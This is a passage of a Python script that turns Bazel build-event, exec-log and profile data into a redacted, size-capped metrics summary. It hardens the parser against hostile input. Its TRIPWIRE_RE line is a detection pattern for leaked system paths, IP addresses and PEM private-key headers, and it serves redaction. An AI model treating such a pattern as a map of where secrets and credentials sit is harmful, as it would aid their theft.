checked per-string at +# validation time (REDACTION below, in _validate()), so a single hostile +# label or mnemonic is dropped rather than taking down the whole document; +# this document-level check is the backstop for anything that still slips +# through, e.g. a free-text buildToolLogs line. The collector (design +# section 4.3) runs the same regex over the raw artifact text. +TRIPWIRE_RE = re.compile( + r"(?i)(://|/home/|/tmp/|/root/|/runner/|/etc/|-----BEGIN|\.ops\.gascity\.com|" + r"\b(?:\d{1,3}\.){3}\d{1,3}\b)" +) + +CRITICAL_PATH_RE = re.compile( + r"Critical Path: ([0-9.]+)s, Remote \(([0-9.]+)% of the time\): \[(.*)\]" +) +# Each bracketed component ("parse: 0.00%", "queue: 0.00%", ...); matched +# generically and then filtered to the keys this schema keeps. +CRITICAL_PATH_PCT_RE = re.compile(r"([A-Za-z]+): ([0-9.]+)%") +# The per-test critical-path line; the shard clause is optional so unsharded +# tests ("action 'Testing //pkg:t'", no "(shard N of M)") match too. +CRITICAL_PATH_TEST_RE = re.compile( + r"\s+([0-9.]+)s action 'Testing (//[^ ']+)(?: \(shard ([0-9]+) of ([0-9]+)\))?'" +) +DURATION_RE = re.compile(r"(-?[0-9]+(?:\.[0-9]+)?)s") + +# SpawnMetrics Durations (spawn.proto @ 9.2.0). Field 11 (input_bytes) is a +# varint, handled separately. +SPAWN_METRIC = { + 1: "total_ms", + 3: "network_ms", + 4: "fetch_ms", + 5: "queue_ms", + 6: "setup_ms", + 7: "upload_ms", + 8: "exec_ms", + 9: "outputs_ms", +} + +# Runner classes (design section 3.3). The raw runner name is never emitted. +_RUNNER_EXACT = { + "remote cache hit": "remote_cache_hit", + "disk cache hit": "disk_cache_hit", + "remote": "remote", +} +_RUNNER_LOCAL = { + "linux-sandbox", + "processwrapper-sandbox", + "darwin-sandbox", + "local", + "worker", + "standalone", + "sandboxed", + "windows-sandbox", + "docker", + "dynamic", +} + + +def runner_class(name: str) -> str: + if name in _RUNNER_EXACT: + return _RUNNER_EXACT[name] + if name in _RUNNER_LOCAL: + return "local" + return "other" + + +class Tripwire(Exception): + """Raised when the tripwire regex matches; caught at top level.""" + + +class ParseTimeout(Exception): + """Raised by read_bep()/spawns() when PARSE_DEADLINE_S is exceeded.""" + + +def _reject_constant(constant): # json.loads(parse_constant=...) + raise ValueError("non-finite JSON constant %r" % (constant,)) + + +def as_int(value, default=0): + """Decodes a proto3-JSON integer: Bazel writes int64 as a string and + int32 as a number; both decode here. Guards against OverflowError from + a huge/infinite float (e.g. a crafted 1e400 literal, or float('inf')).""" + if value is None: + return default + if isinstance(value, bool): + return int(value) + if isinstance(value, int): + return value + if isinstance(value, float): + try: + return int(value) + except (OverflowError, ValueError): + return default + if isinstance(value, str): + try: + return int(value) + except (ValueError, OverflowError): + return default + return default + + +def as_duration_ms(value): + """Decodes a proto3 Duration JSON string ("3.140856289s") to int ms.""" + if not isinstance(value, str): + return None + m = DURATION_RE.fullmatch(value) + if not m: + return None + try: + return round(float(m.group(1)) * 1000) + except (ValueError, OverflowError): + return None + + +def _safe_float(s, default=0.0): + try: + return float(s) + except (ValueError, OverflowError, TypeError): + return default + + +def _clamp_pct(value): + """Clamps a critical-path percentage to a finite [0, 100]. The regex + that extracts these values only ever captures digits and a single dot, + so float() on it can't itself produce inf/nan -- but this is cheap + insurance against a future, looser regex or a _safe_float() call site + that doesn't exist yet, and it's what keeps every *_pct value safe to + pass straight to json.dumps(..., allow_nan=False).""" + if not math.isfinite(value): + return 0.0 + return max(0.0, min(100.0, value)) + + +def _validate(s, pattern, max_len=None): + """REDACTION: the shared validator every valid_*() below calls. Checks + type, an optional length cap, the whitelist pattern (fullmatch: a + pattern ending in a bare `$` can still be satisfied by a string with a + trailing "\\n" under .match(), since `$` matches just before a trailing + newline -- fullmatch closes that gap), and the tripwire, individually. + A value that fails any of these is dropped (returns None); the caller + simply omits that one field/row rather than the whole document.""" + if not isinstance(s, str): + return None + if max_len is not None and len(s) > max_len: + return None + if not pattern.fullmatch(s): + return None + if TRIPWIRE_RE.search(s): + return None + return s + + +def valid_label(s): + return _validate(s, LABEL_RE, MAX_LABEL_LEN) + + +def valid_mnemonic(s): + return _validate(s, MNEMONIC_RE) + + +def valid_repo(s): + return _validate(s, REPO_RE) + + +def valid_enum(s): + return _validate(s, ENUM_RE) + + +def valid_command(s): + return _validate(s, COMMAND_RE) + + +def valid_version(s): + return _validate(s, VERSION_RE) + + +def valid_lane(s): + return _validate(s, LANE_RE) + + +def valid_uuid(s): + return _validate(s, UUID_RE) + + +# --- exec log: field-number protobuf decoding (spawn.proto @ 9.2.0) --- +# +# REDACTION: Spawn fields 7 target, 8 mnemonic, 9 exit code, 11 runner, 12 +# cache hit and 18 metrics are decoded; Invocation.id (field 4) is read only +# for the cross-check. Fields 1 (args), 2 (env_vars) and 3 (platform) are +# skipped by length, never decoded: this is the only place the exec log's +# argv and environment values could leak, and this code never looks at them. +# +# Every function here assumes nothing about its input's shape beyond what +# the length-prefixed wire format itself guarantees; a value that isn't the +# type a field is supposed to have (e.g. a string field re-encoded as a +# varint by a hostile or corrupt producer) is skipped, not force-cast. What +# this layer can't degrade from on its own (a truncated varint, an +# unsupported wire type, an absurd nesting) is left to raise; the caller +# (build_mnemonics_and_cold, from build_invocation) wraps the whole pass in +# try/except and degrades the invocation's exec_log status to "corrupt" or +# "timeout" instead of crashing the process. + + +def varint(b, p): + s = r = 0 + n = len(b) + while True: + if p >= n: + raise ValueError("truncated varint") + c = b[p] + p += 1 + r |= (c & 0x7F) << s + s += 7 + if not c & 0x80: + return r, p + if s > 63: + # Bounds the loop (a crafted run of 0xFF bytes with no + # terminator would otherwise grow `r` into an arbitrarily large + # Python int, making every subsequent shift/OR progressively + # more expensive -- an O(n^2) DoS, not just an eventual + # IndexError) and rejects anything wider than a 64-bit value. + raise ValueError("varint exceeds 64 bits") + + +def fields(b, deadline=None): + """Yields (field, wiretype, value); length-delimited values are slices, + never decoded here. + + A single field-rich submessage (e.g. a 40 MB Spawn made of millions of + tiny 2-byte unknown fields) can take many seconds to merely iterate, + even though spawns()'s own per-entry deadline check never sees it: that + check only fires once per ExecLogEntry, not once per field inside one. + deadline, when given, is re-checked every DEADLINE_CHECK_EVERY fields + here too, so a single oversized submessage at any nesting level can't + run past PARSE_DEADLINE_S on its own.""" + p = 0 + n = len(b) + count = 0 + while p < n: + count += 1 + if deadline is not None and count % DEADLINE_CHECK_EVERY == 0 and time.monotonic() > deadline: + raise ParseTimeout("protobuf field parse deadline exceeded") + k, p = varint(b, p) + f, t = k >> 3, k & 7 + if t == 0: + v, p = varint(b, p) + elif t == 2: + ln, p = varint(b, p) + v = b[p : p + ln] + p += ln + elif t == 1: + v = b[p : p + 8] + p += 8 + elif t == 5: + v = b[p : p + 4] + p += 4 + else: + raise ValueError("wire type %d" % t) + yield f, t, v + + +def dur_ms(v, deadline=None): + """Decodes a Duration submessage's bytes (fields 1 seconds, 2 nanos).""" + seconds = nanos = 0 + for f, t, val in fields(v, deadline): + if t != 0: + continue + if f == 1: + seconds = val + elif f == 2: + nanos = val + return seconds * 1000 + nanos // 1_000_000 + + +def spawns(raw, deadline): + """Yields (invocation_id, spawn-dict) for every ExecLogEntry.spawn in the + decompressed exec log stream. ExecLogEntry: 1 id, 2 invocation, 7 spawn; + the rest skipped. Every sub-field is type-checked before use: a hostile + or corrupt encoder can put any wire type on any field number, and a + string/submessage field that arrives as a varint (int, not bytes) is + simply skipped rather than passed to .decode()/fields().""" + p = 0 + n = len(raw) + inv = None + count = 0 + while p < n: + count += 1 + if count % DEADLINE_CHECK_EVERY == 0 and time.monotonic() > deadline: + raise ParseTimeout("exec log parse deadline exceeded") + ln, p = varint(raw, p) + entry = raw[p : p + ln] + p += ln + for f, _, v in fields(entry, deadline): + if f == 2 and isinstance(v, bytes): + inv = next( + ( + sv.decode("utf-8", "replace") + for sf, _, sv in fields(v, deadline) + if sf == 4 and isinstance(sv, bytes) + ), + inv, + ) + elif f == 7 and isinstance(v, bytes): + s = {"target": "", "mnemonic": "", "runner": "", "cache_hit": False, "m": {}} + for sf, st, sv in fields(v, deadline): # 1 args, 2 env_vars, 3 platform: never decoded + if sf == 7 and isinstance(sv, bytes): + s["target"] = sv.decode("utf-8", "replace") + elif sf == 8 and isinstance(sv, bytes): + s["mnemonic"] = sv.decode("utf-8", "replace") + elif sf == 11 and isinstance(sv, bytes): + s["runner"] = sv.decode("utf-8", "replace") + elif sf == 12: + s["cache_hit"] = bool(sv) + elif sf == 18 and isinstance(sv, bytes): + for mf, mt, mv in fields(sv, deadline): + if mf in SPAWN_METRIC and mt == 2 and isinstance(mv, bytes): + s["m"][SPAWN_METRIC[mf]] = dur_ms(mv, deadline) + elif mf == 11 and mt == 0: + s["m"]["input_bytes"] = mv + yield inv, s + + +def load_exec_log(path, deadline): + """Returns (decompressed bytes or None, status) where status is one of + "ok", "unreadable", "too_large"; None data means no per-spawn data for + this invocation (BEP-level data is still emitted). + + The compressed file's size is stat-capped before it is ever opened, and + decompression itself runs under a Popen whose stdout is read in bounded + chunks: at most MAX_EXEC_LOG_BYTES + 1 bytes are ever read before the + child is killed, so a zstd decompression bomb can't grow this process's + memory past that bound no matter how small the compressed input is. + --long=31 (which lets zstd negotiate up to a 2 GiB window) is + deliberately not passed, for the same reason. + """ + try: + st = os.stat(path) + except OSError: + return None, "unreadable" + if st.st_size > MAX_EXEC_LOG_BYTES: + return None, "too_large" + try: + with open(path, "rb") as fh: + magic = fh.read(4) + except OSError: + return None, "unreadable" + if magic != ZSTD_MAGIC: + try: + with open(path, "rb") as fh: + data = fh.read() + except OSError: + return None, "unreadable" + if len(data) > MAX_EXEC_LOG_BYTES: + return None, "too_large" + return data, "ok" + + zstd = shutil.which("zstd") + if zstd is None: + return None, "unreadable" + try: + in_fh = open(path, "rb") + except OSError: + return None, "unreadable" + try: + proc = subprocess.Popen( + [zstd, "-dc"], + stdin=in_fh, + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + ) + except OSError: + return None, "unreadable" + finally: + in_fh.close() # Popen dup'd it; closing our copy doesn't affect the child. + + chunks = [] + total = 0 + too_large = False + try: + try: + while True: + if time.monotonic() > deadline: + proc.kill() + proc.wait() + return None, "unreadable" + chunk = proc.stdout.read(DECOMPRESS_CHUNK) + if not chunk: + break + total += len(chunk) + if total > MAX_EXEC_LOG_BYTES: + too_large = True + proc.kill() + break + chunks.append(chunk) + proc.wait(timeout=max(1.0, deadline - time.monotonic())) + except (OSError, subprocess.SubprocessError): + try: + proc.kill() + except OSError: + pass + return None, "unreadable" + finally: + proc.stdout.close() + + if too_large: + return None, "too_large" + if proc.returncode != 0: + return None, "unreadable" + return b"".join(chunks), "ok" + + +# --- BEP: newline-delimited JSON --- + + +def read_bep(path, deadline): + """Reads the BEP JSON stream. Returns (events, truncated). A malformed + last line sets truncated; a malformed middle line raises ValueError (the + whole invocation is dropped, the same contract as gascity bep.go).""" + events = [] + pending_err = None + count = 0 + with open(path, "r", encoding="utf-8", errors="replace") as fh: + for line in fh: + count += 1 + if count % DEADLINE_CHECK_EVERY == 0 and time.monotonic() > deadline: + raise ParseTimeout("BEP parse deadline exceeded") + line = line.strip() + if not line: + continue + if pending_err is not None: + raise ValueError(pending_err) + try: + events.append(json.loads(line, parse_constant=_reject_constant)) + except ValueError as exc: + pending_err = str(exc) + return events, pending_err is not None + + +def iter_repo_fetch(profile_path, deadline): + """Streams the JSON profile line by line; only lines mentioning + "Fetching repository" are parsed (design section 3.5's cap). Computes + the wall-clock union of each name's intervals (not just a min-start/ + max-end span: two disjoint fetches of the same repo should not count the + gap between them). Returns (rows, status), status one of "ok", + "unreadable", "corrupt" (a non-finite ts/dur -- Infinity, NaN, or a sum + that overflows to inf -- was seen and dropped; any other valid rows + parsed are still returned).""" + intervals = {} # name -> sorted list of disjoint, merged [start, end) + corrupt = False + try: + fh = open(profile_path, "r", encoding="utf-8", errors="replace") + except OSError: + return [], "unreadable" + with fh: + for line in fh: + if time.monotonic() > deadline: + break + if "Fetching repository" not in line: + continue + stripped = line.rstrip(",\n") + try: + # Default parse_constant (not _reject_constant): a crafted + # "ts": Infinity/NaN literal must reach the isfinite() + # check below and flip this profile's status to "corrupt", + # not raise out of json.loads() and get silently skipped. + ev = json.loads(stripped) + except ValueError: + continue + if not isinstance(ev, dict) or ev.get("cat") != "Fetching repository": + continue + name = ev.get("name") + ts = ev.get("ts") + dur = ev.get("dur") + if ( + not isinstance(name, str) + or not isinstance(ts, (int, float)) + or not isinstance(dur, (int, float)) + ): + continue + # A crafted ts/dur (1e999 parses as inf via _reject_constant's + # sibling path below; ts=1e308 + dur=1e308 overflows a finite + # sum to inf without raising) must degrade this invocation's + # profile status to "corrupt", not crash or silently produce an + # infinite/NaN interval that a naive sum() would then also + # produce as a reported "ms" value. + try: + start, end = ts, ts + dur + if not (math.isfinite(start) and math.isfinite(end)): + corrupt = True + continue + except (OverflowError, ValueError, TypeError): + corrupt = True + continue + merged = intervals.setdefault(name, []) + _merge_interval(merged, start, end) + out = [] + for name, merged in intervals.items(): + repo = valid_repo(name) + if repo is None: + continue + total_us = sum(e - s for s, e in merged) + out.append({"repo": repo, "ms": round(total_us / 1000.0)}) + out.sort(key=lambda r: r["ms"], reverse=True) + return out[:MAX_REPOS], ("corrupt" if corrupt else "ok") + + +def _merge_interval(merged, start, end): + """Inserts [start, end) into `merged`, a list of disjoint intervals kept + sorted by start, merging with any overlapping/adjacent neighbors so the + list always represents the true union.""" + out = [] + placed = False + for s, e in merged: + if end < s: + if not placed: + out.append((start, end)) + placed = True + out.append((s, e)) + elif start > e: + out.append((s, e)) + else: + start, end = min(start, s), max(end, e) + if not placed: + out.append((start, end)) + out.sort() + merged[:] = out + + +# --- per-invocation BEP extraction --- + + +def _empty_critical_path(): + return { + "remote_pct": 0.0, + "queue_pct": 0.0, + "fetch_pct": 0.0, + "process_pct": 0.0, + "upload_pct": 0.0, + "setup_pct": 0.0, + "network_pct": 0.0, + # Always present (the S4 contract: a stable, always-complete key + # set), even when the critical path text has no per-test line at + # all (a pure-build invocation, or a critpath_bad_float-style + # degrade): "" / 0, never an absent key the collector has to guess + # the type of. + "test_label": "", + "test_shard": 0, + "test_ms": 0, + } + + +def build_timing(events): + timing = { + "elapsed_ms": 0, + "wall_ms": 0, + "cpu_ms": 0, + "analysis_ms": 0, + "execution_ms": 0, + "actions_start_ms": 0, + "critical_path_ms": 0, + } + started = None + finished = None + # Always a full key set (design/S4 contract): a lane with no critical + # path text still reports every *_pct at 0.0, rather than an empty dict. + critical_path = _empty_critical_path() + actions = { + "created": 0, + "executed": 0, + "remote_cache_hit": 0, + "disk_cache_hit": 0, + "remote": 0, + "local": 0, + "internal": 0, + "action_cache_hits": 0, + "action_cache_misses": 0, + } + graph = {"packages_loaded": 0, "targets_configured": 0} + net = {"bytes_recv": 0, "bytes_sent": 0} + + for ev in events: + # Tolerates a BEP line that decoded to a list, a string, or any + # other non-dict JSON value (malformed middle lines already raise + # in read_bep(); this is for individually-wrong-shaped lines that + # parsed fine as JSON but aren't the object BEP lines always are). + if not isinstance(ev, dict): + continue + try: + if "started" in ev: + s = ev["started"] + if isinstance(s, dict): + started = { + "invocation_id": valid_uuid(s.get("uuid", "")) or "", + "command": valid_command(s.get("command", "")) or "unknown", + "bazel_version": valid_version(s.get("buildToolVersion", "")) or "unknown", + "started_ms": as_int(s.get("startTimeMillis")), + } + if "finished" in ev: + fin = ev["finished"] + if isinstance(fin, dict): + exit_code = fin.get("exitCode") + if not isinstance(exit_code, dict): + exit_code = {} + finished = { + "exit_code": as_int(exit_code.get("code")), + "exit_name": exit_code.get("name", ""), + "finished_ms": as_int(fin.get("finishTimeMillis")), + } + if "buildToolLogs" in ev: + btl = ev["buildToolLogs"] + logs = btl.get("log", []) if isinstance(btl, dict) else [] + for log in logs or []: + if not isinstance(log, dict): + continue + name = log.get("name") + contents = log.get("contents") + if name == "elapsed time" and contents: + try: + timing["elapsed_ms"] = round(float(base64.b64decode(contents)) * 1000) + except (ValueError, TypeError, OverflowError): + pass + elif name == "critical path" and contents: + try: + text = base64.b64decode(contents).decode("utf-8", "replace") + except (ValueError, TypeError): + text = "" + first_line = text.splitlines()[0] if text else "" + m = CRITICAL_PATH_RE.fullmatch(first_line) + if m: + cp = dict(critical_path) + cp["remote_pct"] = _clamp_pct(_safe_float(m.group(2))) + for key, val in CRITICAL_PATH_PCT_RE.findall(m.group(3)): + field = "%s_pct" % key + if field in cp: + cp[field] = _clamp_pct(_safe_float(val)) + critical_path = cp + for line in text.splitlines()[1:]: + tm = CRITICAL_PATH_TEST_RE.fullmatch(line) + if tm: + label = valid_label(tm.group(2)) + if label is not None: + critical_path["test_label"] = label + critical_path["test_shard"] = ( + as_int(tm.group(3)) if tm.group(3) else 0 + ) + critical_path["test_ms"] = round( + _safe_float(tm.group(1)) * 1000 + ) + break + if "buildMetrics" in ev: + bm = ev["buildMetrics"] + if not isinstance(bm, dict): + continue + tm = bm.get("timingMetrics") + if not isinstance(tm, dict): + tm = {} + for key, dst in ( + ("cpuTimeInMs", "cpu_ms"), + ("wallTimeInMs", "wall_ms"), + ("analysisPhaseTimeInMs", "analysis_ms"), + ("executionPhaseTimeInMs", "execution_ms"), + ("actionsExecutionStartInMs", "actions_start_ms"), + ): + if key in tm: + timing[dst] = as_int(tm.get(key)) + # Bazel 9.2.0 sends criticalPathTime as a Duration string + # ("0.203047257s"), not criticalPathTimeInMs: as_int() on + # that string always returned the default 0, silently. + # Parse the Duration first; fall back to a legacy/future + # criticalPathTimeInMs integer field if present instead. + cpt_ms = as_duration_ms(tm.get("criticalPathTime")) + if cpt_ms is None and "criticalPathTimeInMs" in tm: + cpt_ms = as_int(tm.get("criticalPathTimeInMs")) + if cpt_ms is not None: + timing["critical_path_ms"] = cpt_ms + + asum = bm.get("actionSummary") + if not isinstance(asum, dict): + asum = {} + if "actionsCreated" in asum: + actions["created"] = as_int(asum.get("actionsCreated")) + if "actionsExecuted" in asum: + actions["executed"] = as_int(asum.get("actionsExecuted")) + local_count = 0 + for rc in asum.get("runnerCount", []) or []: + if not isinstance(rc, dict): + continue + name = rc.get("name", "") + count = as_int(rc.get("count")) + if rc.get("execKind") == "Local": + local_count += count + continue + if name == "remote cache hit": + actions["remote_cache_hit"] += count + elif name == "disk cache hit": + actions["disk_cache_hit"] += count + elif name == "remote": + actions["remote"] += count + elif name == "internal": + actions["internal"] += count + actions["local"] = local_count + acs = asum.get("actionCacheStatistics") + if isinstance(acs, dict): + actions["action_cache_hits"] = as_int(acs.get("hits")) + actions["action_cache_misses"] = as_int(acs.get("misses")) + + pm = bm.get("packageMetrics") + if isinstance(pm, dict): + graph["packages_loaded"] = as_int(pm.get("packagesLoaded")) + tgm = bm.get("targetMetrics") + if isinstance(tgm, dict): + graph["targets_configured"] = as_int(tgm.get("targetsConfigured")) + nmw = bm.get("networkMetrics") + nm = nmw.get("systemNetworkStats") if isinstance(nmw, dict) else None + if isinstance(nm, dict): + net["bytes_recv"] = as_int(nm.get("bytesRecv")) + net["bytes_sent"] = as_int(nm.get("bytesSent")) + except Exception: + # Degrade to a partial BEP: one malformed event (e.g. "started" + # or "testResult" present but holding a non-dict value) is + # skipped; every other event in this stream is still processed. + continue + + return started, finished, timing, critical_path, actions, graph, net + + +def build_action_data(events): + """BEP buildMetrics.actionSummary.actionData[]: per-mnemonic executed, + created, userTime, systemTime. Top 20 only (Bazel's own cap).""" + data = {} + for ev in events: + if not isinstance(ev, dict): + continue + try: + bm = ev.get("buildMetrics") + if not isinstance(bm, dict): + continue + asum = bm.get("actionSummary") + if not isinstance(asum, dict): + continue + for ad in asum.get("actionData", []) or []: + if not isinstance(ad, dict): + continue + mnemonic = valid_mnemonic(ad.get("mnemonic", "")) + if mnemonic is None: + continue + d = data.setdefault( + mnemonic, {"bep_executed": 0, "bep_created": 0, "user_ms": 0, "system_ms": 0} + ) + d["bep_executed"] += as_int(ad.get("actionsExecuted")) + d["bep_created"] += as_int(ad.get("actionsCreated")) + d["user_ms"] += as_duration_ms(ad.get("userTime")) or 0 + d["system_ms"] += as_duration_ms(ad.get("systemTime")) or 0 + except Exception: + continue + return data + + +def build_tests(events): + """testResult + testSummary, grouped by label. MAX_TEST_RESULTS is a + total across every label (the S4 contract), not a per-label cap.""" + tests = {} # label -> {summary, results: []} + truncated = 0 + total_results = 0 + for ev in events: + if not isinstance(ev, dict): + continue + try: + ident = ev.get("id") + if not isinstance(ident, dict): + ident = {} + tr = ev.get("testResult") + if tr is not None and isinstance(tr, dict): + tid = ident.get("testResult") + if not isinstance(tid, dict): + tid = {} + label = valid_label(tid.get("label", "")) + if label is None: + continue + entry = tests.setdefault(label, {"summary": None, "results": []}) + if total_results >= MAX_TEST_RESULTS: + truncated += 1 + continue + status = valid_enum(tr.get("status", "")) or "UNKNOWN" + execinfo = tr.get("executionInfo") + if not isinstance(execinfo, dict): + execinfo = {} + strategy = execinfo.get("strategy", "") + cached_locally = bool(tr.get("cachedLocally")) + runner = "local_cache" if cached_locally else runner_class(strategy) + duration_ms = as_duration_ms(tr.get("testAttemptDuration")) + if duration_ms is None: + duration_ms = as_int(tr.get("testAttemptDurationMillis")) + queue_ms = fetch_ms = exec_ms = 0 + # Per-test timing lives under testResult.executionInfo. + # timingBreakdown, not a top-level testResult.timingBreakdown + # (which doesn't exist at all) -- confirmed against a real + # Bazel 9.2 fixture. + tbd = execinfo.get("timingBreakdown") + children = tbd.get("child", []) if isinstance(tbd, dict) else [] + for child in children or []: + if not isinstance(child, dict): + continue + name = child.get("name") + ms = as_duration_ms(child.get("time")) + if ms is None: + continue + if name == "queueTime": + queue_ms = ms + elif name == "fetchTime": + fetch_ms = ms + elif name == "executionWallTime": + exec_ms = ms + entry["results"].append( + { + "shard": as_int(tid.get("shard")), + "run": as_int(tid.get("run")), + "attempt": as_int(tid.get("attempt")), + "status": status, + "runner": runner, + "duration_ms": duration_ms, + "queue_ms": queue_ms, + "fetch_ms": fetch_ms, + "exec_ms": exec_ms, + } + ) + total_results += 1 + ts = ev.get("testSummary") + if ts is not None and isinstance(ts, dict): + tid = ident.get("testSummary") + if not isinstance(tid, dict): + tid = {} + label = valid_label(tid.get("label", "")) + if label is None: + continue + entry = tests.setdefault(label, {"summary": None, "results": []}) + entry["summary"] = { + "overall": valid_enum(ts.get("overallStatus", "")) or "UNKNOWN", + "shards": as_int(ts.get("shardCount")) or 1, + "attempts": as_int(ts.get("attemptCount")) or 1, + "cached": as_int(ts.get("totalNumCached")), + } + except Exception: + continue + + labels = sorted(tests.keys()) + tests_truncated = 0 + if len(labels) > MAX_TEST_LABELS: + tests_truncated = len(labels) - MAX_TEST_LABELS + labels = labels[:MAX_TEST_LABELS] + out = [] + for label in labels: + entry = tests[label] + summary = entry["summary"] or { + "overall": "UNKNOWN", + "shards": 1, + "attempts": 1, + "cached": 0, + } + out.append( + { + "label": label, + "overall": summary["overall"], + "shards": summary["shards"], + "attempts": summary["attempts"], + "cached": summary["cached"], + "results": entry["results"], + } + ) + return out, tests_truncated + truncated + + +def build_mnemonics_and_cold(started_uuid, exec_log_data, deadline): + """Groups exec-log spawns by mnemonic (mnemonics[]) and finds the + cache-missing ones by (mnemonic, target) (cold[]).""" + by_mnemonic = {} + cold = {} + matched_invocation = False + if exec_log_data is None: + return {}, {}, False + for inv, spawn in spawns(exec_log_data, deadline): + if inv is not None: + if started_uuid and inv != started_uuid: + continue + matched_invocation = True + mnemonic = valid_mnemonic(spawn["mnemonic"]) + if mnemonic is None: + continue + cls = runner_class(spawn["runner"]) + m = spawn["m"] + d = by_mnemonic.setdefault( + mnemonic, + { + "spawns": 0, + "remote_cache_hit": 0, + "disk_cache_hit": 0, + "remote": 0, + "local": 0, + "other": 0, + "total_ms": 0, + "remote_exec_ms": 0, + "remote_queue_ms": 0, + "remote_queue_max_ms": 0, + "remote_setup_ms": 0, + "local_exec_ms": 0, + "fetch_ms": 0, + "upload_ms": 0, + "input_bytes": 0, + }, + ) + d["spawns"] += 1 + if cls in ("remote_cache_hit", "disk_cache_hit", "remote", "local"): + d[cls] += 1 + else: + d["other"] += 1 + d["total_ms"] += m.get("total_ms", 0) + d["fetch_ms"] += m.get("fetch_ms", 0) + d["upload_ms"] += m.get("upload_ms", 0) + d["input_bytes"] += m.get("input_bytes", 0) + if cls == "remote": + d["remote_exec_ms"] += m.get("exec_ms", 0) + d["remote_queue_ms"] += m.get("queue_ms", 0) + d["remote_queue_max_ms"] = max(d["remote_queue_max_ms"], m.get("queue_ms", 0)) + d["remote_setup_ms"] += m.get("setup_ms", 0) + elif cls == "local": + d["local_exec_ms"] += m.get("exec_ms", 0) + + if cls in ("remote", "local"): # cache misses + target = valid_label(spawn["target"]) + if target is not None: + key = (mnemonic, target, cls) + cd = cold.setdefault( + key, {"mnemonic": mnemonic, "target": target, "runner": cls, "spawns": 0, "total_ms": 0, "exec_ms": 0, "queue_ms": 0} + ) + cd["spawns"] += 1 + cd["total_ms"] += m.get("total_ms", 0) + cd["exec_ms"] += m.get("exec_ms", 0) + cd["queue_ms"] += m.get("queue_ms", 0) + return by_mnemonic, cold, matched_invocation + + +def finalize_mnemonics(by_mnemonic, action_data): + truncated = 0 + names = sorted(by_mnemonic.keys()) + if len(names) > MAX_MNEMONICS: + truncated = len(names) - MAX_MNEMONICS + names = sorted(by_mnemonic.keys(), key=lambda n: by_mnemonic[n]["total_ms"], reverse=True)[:MAX_MNEMONICS] + names.sort() + out = [] + for name in names: + d = dict(by_mnemonic[name]) + d["mnemonic"] = name + extra = action_data.get(name) + if extra: + d.update(extra) + else: + d.setdefault("bep_executed", 0) + d.setdefault("bep_created", 0) + d.setdefault("user_ms", 0) + d.setdefault("system_ms", 0) + out.append(d) + return out, truncated + + +def finalize_cold(cold): + rows = list(cold.values()) + rows.sort(key=lambda r: r["total_ms"], reverse=True) + truncated = max(0, len(rows) - MAX_COLD) + return rows[:MAX_COLD], truncated + + +def build_invocation(step, bep_path, exec_log_path, profile_path, deadline): + try: + events, bep_truncated = read_bep(bep_path, deadline) + except OSError: + return None + except ValueError: + # A malformed non-final line: drop this invocation entirely. + return None + except ParseTimeout: + return None + + started, finished, timing, critical_path, actions, graph, net = build_timing(events) + if started is None: + return None + + # "-" (or omitting the argument) means "missing": there was never a file + # to read. That's different from "unreadable" (a path was given but + # couldn't be opened/decoded) or "corrupt"/"timeout" (opened, but the + # contents didn't decode, or took too long). + exec_log_status = "missing" + exec_log_data = None + if exec_log_path is not None: + exec_log_data, exec_log_status = load_exec_log(exec_log_path, deadline) + + mnemonics_raw, cold_raw = {}, {} + if exec_log_data is not None: + try: + mnemonics_raw, cold_raw, matched = build_mnemonics_and_cold( + started.get("invocation_id", ""), exec_log_data, deadline + ) + except ParseTimeout: + exec_log_status = "timeout" + except Exception: + # Every crash this layer can't itself degrade from (a truncated + # varint, an unsupported wire type, a sub-message that's the + # wrong shape in a way isinstance() checks upstream didn't + # anticipate) lands here: the invocation still gets its BEP-only + # data, just no per-mnemonic/cold rows. + exec_log_status = "corrupt" + else: + if started.get("invocation_id") and not matched: + exec_log_status = "mismatch" + mnemonics_raw, cold_raw = {}, {} + + action_data = build_action_data(events) + mnemonics, mnemonics_truncated = finalize_mnemonics(mnemonics_raw, action_data) + cold, cold_truncated = finalize_cold(cold_raw) + + repo_fetch = [] + profile_status = "missing" + if profile_path is not None: + repo_fetch, profile_status = iter_repo_fetch(profile_path, deadline) + + tests, tests_truncated = build_tests(events) + + record = { + "step": step, + "invocation_id": started["invocation_id"], + "command": started["command"], + "bazel_version": started["bazel_version"], + "started_ms": started["started_ms"], + "finished_ms": finished["finished_ms"] if finished else 0, + # No finished event at all (the lane crashed/was killed mid-build): + # -1, never the misleadingly-successful-looking default of 0. + "exit_code": finished["exit_code"] if finished else -1, + "exit_name": valid_enum(finished["exit_name"]) if finished else None, + "bep_truncated": bep_truncated, + "exec_log": exec_log_status, + "profile": profile_status, + "timing": timing, + "critical_path": critical_path, + "actions": actions, + "graph": graph, + "net": net, + "mnemonics": mnemonics, + "mnemonics_truncated": mnemonics_truncated, + "cold": cold, + "cold_truncated": cold_truncated, + "repo_fetch": repo_fetch, + "tests": tests, + "tests_truncated": tests_truncated, + } + if record["exit_name"] is None: + record["exit_name"] = "UNKNOWN" + return record + + +def build_summary(lane, mode, check_run_id, pr_hint, invocation_args, deadline): + invocations = [] + for step, bep, exec_log, profile in invocation_args: + record = build_invocation(step, bep, exec_log, profile, deadline) + if record is not None: + invocations.append(record) + if not invocations: + return None + return { + "format": FORMAT, + "version": SCHEMA_VERSION, + "extractor": EXTRACTOR_VERSION, + "lane": lane, + "mode": mode, + "check_run_id": as_int(check_run_id), + "pr_hint": as_int(pr_hint), + "invocations": invocations, + } + + +def parse_args(argv): + ap = argparse.ArgumentParser(description=__doc__) + ap.add_argument("--lane", required=True) + ap.add_argument("--mode", required=True) + ap.add_argument("--check-run-id", required=True) + ap.add_argument("--pr-hint", required=True) + ap.add_argument("--out", required=True) + ap.add_argument( + "--invocation", + nargs="+", + action="append", + default=[], + metavar=("STEP BEP EXEC_LOG PROFILE"), + ) + args = ap.parse_args(argv) + + # REDACTION: --lane, --mode and every --invocation STEP are written + # straight into the output JSON (lane, mode, invocations[].step). They + # come from workflow env/matrix values, not free text, but nothing + # enforced that before this CLI parsed them -- a hostile or just wrong + # caller could put an auth-header-shaped string in --lane and have it + # land in the artifact verbatim. Validate eagerly, before any file I/O. + if valid_lane(args.lane) is None: + ap.error("--lane must match %s" % LANE_RE.pattern) + if args.mode not in MODE_CHOICES: + ap.error("--mode must be one of: %s" % ", ".join(sorted(MODE_CHOICES))) + + invocations = [] + for inv in args.invocation: + if len(inv) < 2 or len(inv) > 4: + ap.error("--invocation takes STEP BEP 